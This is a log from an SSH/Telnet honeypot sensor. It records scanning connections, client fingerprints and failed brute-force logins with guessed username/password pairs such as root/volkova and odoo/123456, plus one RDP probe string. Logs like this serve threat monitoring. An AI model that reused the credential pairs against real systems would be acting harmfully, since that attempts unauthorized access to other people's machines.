{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:31.192770Z","src_ip":"45.156.87.69","session":"c89ed58bce61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:31.888562Z","src_ip":"45.156.87.69","session":"c89ed58bce61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:32.974889Z","src_ip":"45.156.87.69","session":"c89ed58bce61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41786,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3335c212d47","protocol":"ssh","message":"New connection: 45.156.87.69:41786 (159.203.135.109:22) [session: e3335c212d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:34.916888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:34.928843Z","src_ip":"45.156.87.69","session":"e3335c212d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:35.048372Z","src_ip":"45.156.87.69","session":"e3335c212d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:35.830537Z","src_ip":"45.156.87.69","session":"e3335c212d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.677226543426514,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:36.704217Z","src_ip":"152.42.224.71","session":"ad4d1a443a55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:36.915250Z","src_ip":"45.156.87.69","session":"e3335c212d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.32710075378418,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:38.320213Z","src_ip":"152.42.224.71","session":"5d3e7f32149c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64780,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6e9eb0e1dcf","protocol":"ssh","message":"New connection: 45.156.87.69:64780 (159.203.135.109:22) [session: b6e9eb0e1dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:38.579289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:38.590045Z","src_ip":"45.156.87.69","session":"b6e9eb0e1dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:38.702471Z","src_ip":"45.156.87.69","session":"b6e9eb0e1dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59076,"dst_ip":"10.17.0.5","dst_port":23,"session":"957a6d1b882c","protocol":"telnet","message":"New connection: 152.42.224.71:59076 (10.17.0.5:23) [session: 957a6d1b882c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:38.791591Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:39.692215Z","src_ip":"45.156.87.69","session":"b6e9eb0e1dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:40.936758Z","src_ip":"45.156.87.69","session":"b6e9eb0e1dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64792,"dst_ip":"159.203.135.109","dst_port":22,"session":"145ad99883fd","protocol":"ssh","message":"New connection: 45.156.87.69:64792 (159.203.135.109:22) [session: 145ad99883fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:42.198797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:42.203425Z","src_ip":"45.156.87.69","session":"145ad99883fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:42.308299Z","src_ip":"45.156.87.69","session":"145ad99883fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:42.986793Z","src_ip":"45.156.87.69","session":"145ad99883fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59780,"dst_ip":"159.203.135.109","dst_port":22,"session":"77a97ccedd09","protocol":"ssh","message":"New connection: 103.176.20.57:59780 (159.203.135.109:22) [session: 77a97ccedd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:43.253252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:43.257787Z","src_ip":"103.176.20.57","session":"77a97ccedd09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:43.503250Z","src_ip":"103.176.20.57","session":"77a97ccedd09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:44.071780Z","src_ip":"45.156.87.69","session":"145ad99883fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"volkova","message":"login attempt [root/volkova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:44.266225Z","src_ip":"103.176.20.57","session":"77a97ccedd09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:45.514840Z","src_ip":"103.176.20.57","session":"77a97ccedd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":64804,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7d48894d0c","protocol":"ssh","message":"New connection: 45.156.87.69:64804 (159.203.135.109:22) [session: 6b7d48894d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:45.955917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:45.967190Z","src_ip":"45.156.87.69","session":"6b7d48894d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:46.254934Z","src_ip":"45.156.87.69","session":"6b7d48894d0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:46.875877Z","src_ip":"45.156.87.69","session":"6b7d48894d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.55474376678467,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:47.259579Z","src_ip":"152.42.224.71","session":"c12281150de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.34062671661377,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:47.329158Z","src_ip":"152.42.224.71","session":"f30aabdc858d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:48.068793Z","src_ip":"45.156.87.69","session":"6b7d48894d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":65242,"dst_ip":"159.203.135.109","dst_port":22,"session":"241d7aac79ef","protocol":"ssh","message":"New connection: 45.156.87.69:65242 (159.203.135.109:22) [session: 241d7aac79ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:49.502009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:49.623566Z","src_ip":"45.156.87.69","session":"241d7aac79ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:49.627826Z","src_ip":"45.156.87.69","session":"241d7aac79ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123456","message":"login attempt [odoo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:50.269851Z","src_ip":"45.156.87.69","session":"241d7aac79ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:51.611400Z","src_ip":"45.156.87.69","session":"241d7aac79ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":65256,"dst_ip":"159.203.135.109","dst_port":22,"session":"e951576e9234","protocol":"ssh","message":"New connection: 45.156.87.69:65256 (159.203.135.109:22) [session: e951576e9234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:53.503778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:53.552621Z","src_ip":"45.156.87.69","session":"e951576e9234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:53.618700Z","src_ip":"45.156.87.69","session":"e951576e9234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58030,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c6b3cd6f6d3","protocol":"ssh","message":"New connection: 167.172.81.52:58030 (159.203.135.109:22) [session: 3c6b3cd6f6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:53.913017Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:53.977069Z","src_ip":"167.172.81.52","session":"3c6b3cd6f6d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:51:53.982948Z","src_ip":"167.172.81.52","session":"3c6b3cd6f6d3","protocol":"ssh"}
